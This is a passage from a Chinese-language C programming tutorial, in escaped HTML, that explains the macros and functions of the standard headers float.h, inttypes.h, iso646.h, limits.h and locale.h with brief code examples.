href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#float-h\" class=\"headerlink\" title=\"float.h\"\u003e\u003c/a\u003efloat.h\u003c/h2\u003e\u003cp\u003e\u003ccode\u003efloat.h\u003c/code\u003e定义了浮点数类型 float、double、long double 的一些宏,规定了这些类型的范围和精度。\u003c/p\u003e\u003cp\u003e(1) \u003ccode\u003eFLT_ROUNDS\u003c/code\u003e\u003c/p\u003e\u003cp\u003e宏\u003ccode\u003eFLT_ROUNDS\u003c/code\u003e表示当前浮点数加法的四舍五入方向。\u003c/p\u003e\u003cp\u003e它有以下可能的值。\u003c/p\u003e\u003cul\u003e\u003cli\u003e-1:不确定。\u003c/li\u003e\u003cli\u003e0:向零舍入。\u003c/li\u003e\u003cli\u003e1:向最近的整数舍入。\u003c/li\u003e\u003cli\u003e2:向正无穷方向舍入。\u003c/li\u003e\u003cli\u003e3:向负无穷方向舍入。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e(2)\u003ccode\u003eFLT_RADIX\u003c/code\u003e\u003c/p\u003e\u003cp\u003e宏\u003ccode\u003eFLT_RADIX\u003c/code\u003e表示科学计数法的指数部分的底(base),一般总是2。\u003c/p\u003e\u003cp\u003e(3)浮点数类型的最大值\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003eFLT_MAX\u003c/code\u003e\u003c/li\u003e\u003cli\u003e\u003ccode\u003eDBL_MAX\u003c/code\u003e\u003c/li\u003e\u003cli\u003e\u003ccode\u003eLDBL_MAX\u003c/code\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e(4)浮点数类型的最小正值\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003eFLT_MIN\u003c/code\u003e\u003c/li\u003e\u003cli\u003e\u003ccode\u003eDBL_MIN\u003c/code\u003e\u003c/li\u003e\u003cli\u003e\u003ccode\u003eLDBL_MIN\u003c/code\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e(5)两个同类型浮点数之间可表示的最小差值(最小精度)\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003eFLT_EPSILON\u003c/code\u003e\u003c/li\u003e\u003cli\u003e\u003ccode\u003eDBL_EPSILON\u003c/code\u003e\u003c/li\u003e\u003cli\u003e\u003ccode\u003eLDBL_EPSILON\u003c/code\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e(6)\u003ccode\u003eDECIMAL_DIG\u003c/code\u003e\u003c/p\u003e\u003cp\u003e宏\u003ccode\u003eDECIMAL_DIG\u003c/code\u003e表示十进制有效位数。\u003c/p\u003e\u003cp\u003e(7)\u003ccode\u003eFLT_EVAL_METHOD\u003c/code\u003e\u003c/p\u003e\u003cp\u003e宏\u003ccode\u003eFLT_EVAL_METHOD\u003c/code\u003e表示浮点数运算时的类型转换。\u003c/p\u003e\u003cp\u003e它可能有以下值。\u003c/p\u003e\u003cul\u003e\u003cli\u003e-1:不确定。\u003c/li\u003e\u003cli\u003e0:在当前类型中运算。\u003c/li\u003e\u003cli\u003e1:float 和 double 类型的运算使用 double 类型的范围和精度求值。\u003c/li\u003e\u003cli\u003e2:所有浮点数类型的运算使用 long double 类型的范围和精度求值。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e(8)浮点数尾数部分的个数\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003eFLT_MANT_DIG\u003c/code\u003e\u003c/li\u003e\u003cli\u003e\u003ccode\u003eDBL_MANT_DIG\u003c/code\u003e\u003c/li\u003e\u003cli\u003e\u003ccode\u003eLDBL_MANT_DIG\u003c/code\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e(9)浮点数指数部分有效数字的个数(十进制)\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003eFLT_DIG\u003c/code\u003e\u003c/li\u003e\u003cli\u003e\u003ccode\u003eDBL_DIG\u003c/code\u003e\u003c/li\u003e\u003cli\u003e\u003ccode\u003eLDBL_DIG\u003c/code\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e(10)科学计数法的指数部分的最小次幂(负数)\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003eFLT_MIN_EXP\u003c/code\u003e\u003c/li\u003e\u003cli\u003e\u003ccode\u003eDBL_MIN_EXP\u003c/code\u003e\u003c/li\u003e\u003cli\u003e\u003ccode\u003eLDBL_MIN_EXP\u003c/code\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e(11)科学计数法的指数部分的十进制最小次幂(负数)\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003eFLT_MIN_10_EXP\u003c/code\u003e\u003c/li\u003e\u003cli\u003e\u003ccode\u003eDBL_MIN_10_EXP\u003c/code\u003e\u003c/li\u003e\u003cli\u003e\u003ccode\u003eLDBL_MIN_10_EXP\u003c/code\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e(12)科学计数法的指数部分的最大次幂\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003eFLT_MAX_EXP\u003c/code\u003e\u003c/li\u003e\u003cli\u003e\u003ccode\u003eDBL_MAX_EXP\u003c/code\u003e\u003c/li\u003e\u003cli\u003e\u003ccode\u003eLDBL_MAX_EXP\u003c/code\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e科学计数法的指数部分的十进制最大次幂\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003eFLT_MAX_10_EXP\u003c/code\u003e\u003c/li\u003e\u003cli\u003e\u003ccode\u003eDBL_MAX_10_EXP\u003c/code\u003e\u003c/li\u003e\u003cli\u003e\u003ccode\u003eLDBL_MAX_10_EXP\u003c/code\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"inttypes-h\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#inttypes-h\" class=\"headerlink\" title=\"inttypes.h\"\u003e\u003c/a\u003einttypes.h\u003c/h2\u003e\u003cp\u003eC 语言还在头文件 inttypes.h 里面,为 stdint.h 定义的四类整数类型,提供了\u003ccode\u003eprintf()\u003c/code\u003e和\u003ccode\u003escanf()\u003c/code\u003e的占位符。\u003c/p\u003e\u003cul\u003e\u003cli\u003e固定宽度整数类型,比如 int8_t。\u003c/li\u003e\u003cli\u003e最小宽度整数类型,比如 int_least8_t。\u003c/li\u003e\u003cli\u003e最快最小宽度整数类型,比如 int_fast8_t。\u003c/li\u003e\u003cli\u003e最大宽度整数类型,比如 intmax_t。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e\u003ccode\u003eprintf()\u003c/code\u003e的占位符采用\u003ccode\u003ePRI + 原始占位符 + 类型关键字/宽度\u003c/code\u003e的形式构成。举例来说,原始占位符为\u003ccode\u003e%d\u003c/code\u003e,则对应的占位符如下。\u003c/p\u003e\u003cul\u003e\u003cli\u003ePRIdn (固定宽度类型)\u003c/li\u003e\u003cli\u003ePRIdLEASTn (最小宽度类型)\u003c/li\u003e\u003cli\u003ePRIdFASTn (最快最小宽度类型)\u003c/li\u003e\u003cli\u003ePRIdMAX (最大宽度类型)\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e上面占位符中的\u003ccode\u003en\u003c/code\u003e,可以用8、16、32、64代入。\u003c/p\u003e\u003cp\u003e下面是用法示例。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdint.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;inttypes.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint_least16_t\u003c/span\u003e x = \u003cspan class=\"number\"\u003e3490\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;The value is %\u0026#34;\u003c/span\u003e PRIdLEAST16 \u003cspan class=\"string\"\u003e\u0026#34;!\\n\u0026#34;\u003c/span\u003e, x);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003ePRIdLEAST16\u003c/code\u003e对应的整数类型为 int_least16_t,原始占位符为\u003ccode\u003e%d\u003c/code\u003e。另外,\u003ccode\u003eprintf()\u003c/code\u003e的第一个参数用到了多个字符串自动合并的写法。\u003c/p\u003e\u003cp\u003e下面是其它的原始占位符对应的占位符。\u003c/p\u003e\u003cul\u003e\u003cli\u003e%i:PRIin PRIiLEASTn PRIiFASTn PRIiMAX\u003c/li\u003e\u003cli\u003e%o:PRIon PRIoLEASTn PRIoFASTn PRIoMAX\u003c/li\u003e\u003cli\u003e%u:PRIun PRIuLEASTn PRIuFASTn PRIuMAX\u003c/li\u003e\u003cli\u003e%x:PRIxn PRIxLEASTn PRIxFASTn PRIxMAX\u003c/li\u003e\u003cli\u003e%X:PRIXn PRIXLEASTn PRIXFASTn PRIXMAX\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e\u003ccode\u003escanf()\u003c/code\u003e的占位符规则也与之类似。\u003c/p\u003e\u003cul\u003e\u003cli\u003e%d:SCNdn SCNdLEASTn SCNdFASTn SCNdMAX\u003c/li\u003e\u003cli\u003e%i:SCNin SCNiLEASTn SCNiFASTn SCNiMAX\u003c/li\u003e\u003cli\u003e%o:SCNon SCNoLEASTn SCNoFASTn SCNoMAX\u003c/li\u003e\u003cli\u003e%u:SCNun SCNuLEASTn SCNuFASTn SCNuMAX\u003c/li\u003e\u003cli\u003e%x:SCNxn SCNxLEASTn SCNxFASTn SCNxMAX\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"iso646-h\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#iso646-h\" class=\"headerlink\" title=\"iso646.h\"\u003e\u003c/a\u003eiso646.h\u003c/h2\u003e\u003cp\u003e\u003ccode\u003eiso646.h\u003c/code\u003e头文件指定了一些常见运算符的替代拼写。比如,它用关键字\u003ccode\u003eand\u003c/code\u003e代替逻辑运算符\u003ccode\u003e\u0026amp;\u0026amp;\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (x \u0026gt; \u003cspan class=\"number\"\u003e6\u003c/span\u003e and x \u0026lt; \u003cspan class=\"number\"\u003e12\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 等同于\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (x \u0026gt; \u003cspan class=\"number\"\u003e6\u003c/span\u003e \u0026amp;\u0026amp; x \u0026lt; \u003cspan class=\"number\"\u003e12\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e它定义的替代拼写如下。\u003c/p\u003e\u003cul\u003e\u003cli\u003eand 替代 \u0026amp;\u0026amp;\u003c/li\u003e\u003cli\u003eand_eq 替代 \u0026amp;=\u003c/li\u003e\u003cli\u003ebitand 替代 \u0026amp;\u003c/li\u003e\u003cli\u003ebitor 替代 |\u003c/li\u003e\u003cli\u003ecompl 替代 ~\u003c/li\u003e\u003cli\u003enot 替代 !\u003c/li\u003e\u003cli\u003enot_eq 替代 !=\u003c/li\u003e\u003cli\u003eor 替代 ||\u003c/li\u003e\u003cli\u003eor_eq 替代 |=\u003c/li\u003e\u003cli\u003exor 替代 ^\u003c/li\u003e\u003cli\u003exor_eq 替代 ^=\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"limits-h\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#limits-h\" class=\"headerlink\" title=\"limits.h\"\u003e\u003c/a\u003elimits.h\u003c/h2\u003e\u003cp\u003e\u003ccode\u003elimits.h\u003c/code\u003e提供了用来定义各种整数类型(包括字符类型)取值范围的宏。\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003eCHAR_BIT\u003c/code\u003e:每个字符包含的二进制位数。\u003c/li\u003e\u003cli\u003e\u003ccode\u003eSCHAR_MIN\u003c/code\u003e:signed char 类型的最小值。\u003c/li\u003e\u003cli\u003e\u003ccode\u003eSCHAR_MAX\u003c/code\u003e:signed char 类型的最大值。\u003c/li\u003e\u003cli\u003e\u003ccode\u003eUCHAR_MAX\u003c/code\u003e:unsiged char 类型的最大值。\u003c/li\u003e\u003cli\u003e\u003ccode\u003eCHAR_MIN\u003c/code\u003e:char 类型的最小值。\u003c/li\u003e\u003cli\u003e\u003ccode\u003eCHAR_MAX\u003c/code\u003e:char 类型的最大值。\u003c/li\u003e\u003cli\u003e\u003ccode\u003eMB_LEN_MAX\u003c/code\u003e:多字节字符最多包含的字节数。\u003c/li\u003e\u003cli\u003e\u003ccode\u003eSHRT_MIN\u003c/code\u003e:short int 类型的最小值。\u003c/li\u003e\u003cli\u003e\u003ccode\u003eSHRT_MAX\u003c/code\u003e:short int 类型的最大值。\u003c/li\u003e\u003cli\u003e\u003ccode\u003eUSHRT_MAX\u003c/code\u003e:unsigned short int 类型的最大值。\u003c/li\u003e\u003cli\u003e\u003ccode\u003eINT_MIN\u003c/code\u003e:int 类型的最小值。\u003c/li\u003e\u003cli\u003e\u003ccode\u003eINT_MAX\u003c/code\u003e:int 类型的最大值。\u003c/li\u003e\u003cli\u003e\u003ccode\u003eUINT_MAX\u003c/code\u003e:unsigned int 类型的最大值。\u003c/li\u003e\u003cli\u003e\u003ccode\u003eLONG_MIN\u003c/code\u003e:long int 类型的最小值。\u003c/li\u003e\u003cli\u003e\u003ccode\u003eLONG_MAX\u003c/code\u003e:long int 类型的最大值。\u003c/li\u003e\u003cli\u003e\u003ccode\u003eULONG_MAX\u003c/code\u003e:unsigned long int 类型的最大值。\u003c/li\u003e\u003cli\u003e\u003ccode\u003eLLONG_MIN\u003c/code\u003e:long long int 类型的最小值。\u003c/li\u003e\u003cli\u003e\u003ccode\u003eLLONG_MAX\u003c/code\u003e:long long int 类型的最大值。\u003c/li\u003e\u003cli\u003e\u003ccode\u003eULLONG_MAX\u003c/code\u003e:unsigned long long int 类型的最大值。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e下面的示例是使用预处理指令判断,int 类型是否可以用来存储大于 100000 的数。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e INT_MAX \u0026lt; 100000\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eerror\u003c/span\u003e int type is too small\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eendif\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,如果 int 类型太小,预处理器会显示一条出错消息。\u003c/p\u003e\u003cp\u003e可以使用\u003ccode\u003elimit.h\u003c/code\u003e里面的宏,为类型别名选择正确的底层类型。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e INT_MAX \u0026gt;= 100000\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003etypedef\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e Quantity;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003etypedef\u003c/span\u003e \u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e Quantity;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eendif\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,如果整数类型的最大值(\u003ccode\u003eINT_MAX\u003c/code\u003e)不小于100000,那么类型别名\u003ccode\u003eQuantity\u003c/code\u003e指向\u003ccode\u003eint\u003c/code\u003e,否则就指向\u003ccode\u003elong int\u003c/code\u003e。\u003c/p\u003e\u003ch2 id=\"locale-h\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#locale-h\" class=\"headerlink\" title=\"locale.h\"\u003e\u003c/a\u003elocale.h\u003c/h2\u003e\u003ch3 id=\"简介-10\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E7%AE%80%E4%BB%8B-10\" class=\"headerlink\" title=\"简介\"\u003e\u003c/a\u003e简介\u003c/h3\u003e\u003cp\u003e\u003ccode\u003elocale.h\u003c/code\u003e是程序的本地化设置,主要影响以下的行为。\u003c/p\u003e\u003cul\u003e\u003cli\u003e数字格式\u003c/li\u003e\u003cli\u003e货币格式\u003c/li\u003e\u003cli\u003e字符集\u003c/li\u003e\u003cli\u003e日期和时间格式\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e它设置了以下几个宏。\u003c/p\u003e\u003cul\u003e\u003cli\u003eLC_COLLATE:影响字符串比较函数\u003ccode\u003estrcoll()\u003c/code\u003e和\u003ccode\u003estrxfrm()\u003c/code\u003e。\u003c/li\u003e\u003cli\u003eLC_CTYPE:影响字符处理函数的行为。\u003c/li\u003e\u003cli\u003eLC_MONETARY:影响货币格式。\u003c/li\u003e\u003cli\u003eLC_NUMERIC:影响\u003ccode\u003eprintf()\u003c/code\u003e的数字格式。\u003c/li\u003e\u003cli\u003eLC_TIME:影响时间格式\u003ccode\u003estrftime()\u003c/code\u003e和\u003ccode\u003ewcsftime()\u003c/code\u003e。\u003c/li\u003e\u003cli\u003eLC_ALL:将以上所有类别设置为给定的语言环境。\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"setlocale\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#setlocale\" class=\"headerlink\" title=\"setlocale()\"\u003e\u003c/a\u003esetlocale()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003esetlocale()\u003c/code\u003e用来设置当前的地区。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e* \u003cspan class=\"title function_\"\u003esetlocal\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e category, \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* locale)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e它接受两个参数。第一个参数表示影响范围,如果值为前面五个表示类别的宏之一,则只影响该宏对应的类别,如果值为\u003ccode\u003eLC_ALL\u003c/code\u003e,则影响所有类别。第二个参数通常只为\u003ccode\u003e\u0026#34;C\u0026#34;\u003c/code\u003e(正常模式)或\u003ccode\u003e\u0026#34;\u0026#34;\u003c/code\u003e(本地模式)。\u003c/p\u003e\u003cp\u003e任意程序开始时,都隐含下面的调用。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esetlocale(LC_ALL, \u003cspan class=\"string\"\u003e\u0026#34;C\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e下面的语句将格式本地化。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eset_locale(LC_ALL, \u003cspan class=\"string\"\u003e\u0026#34;\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,第二个参数为空字符,表示使用当前环境提供的本地化设置。\u003c/p\u003e\u003cp\u003e理论上,第二个参数也可以设为当前系统支持的某种格式。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esetlocale(LC_ALL, \u003cspan class=\"string\"\u003e\u0026#34;en_US.UTF-8\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e但是这样的话,程序的可移植性就变差了,因为无法保证其他系统也会支持那种格式。所以,通常都将第二个参数设为空字符串,使用操作系统的当前设置。\u003c/p\u003e\u003cp\u003e\u003ccode\u003esetlocale()\u003c/code\u003e的返回值是一个字符串指针,表示已经设置好的格式。如果调用失败,则返回空指针 NULL。\u003c/p\u003e\u003cp\u003e\u003ccode\u003esetlocale()\u003c/code\u003e可以用来查询当前地区,这时第二个参数设为 NULL 就可以了。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan 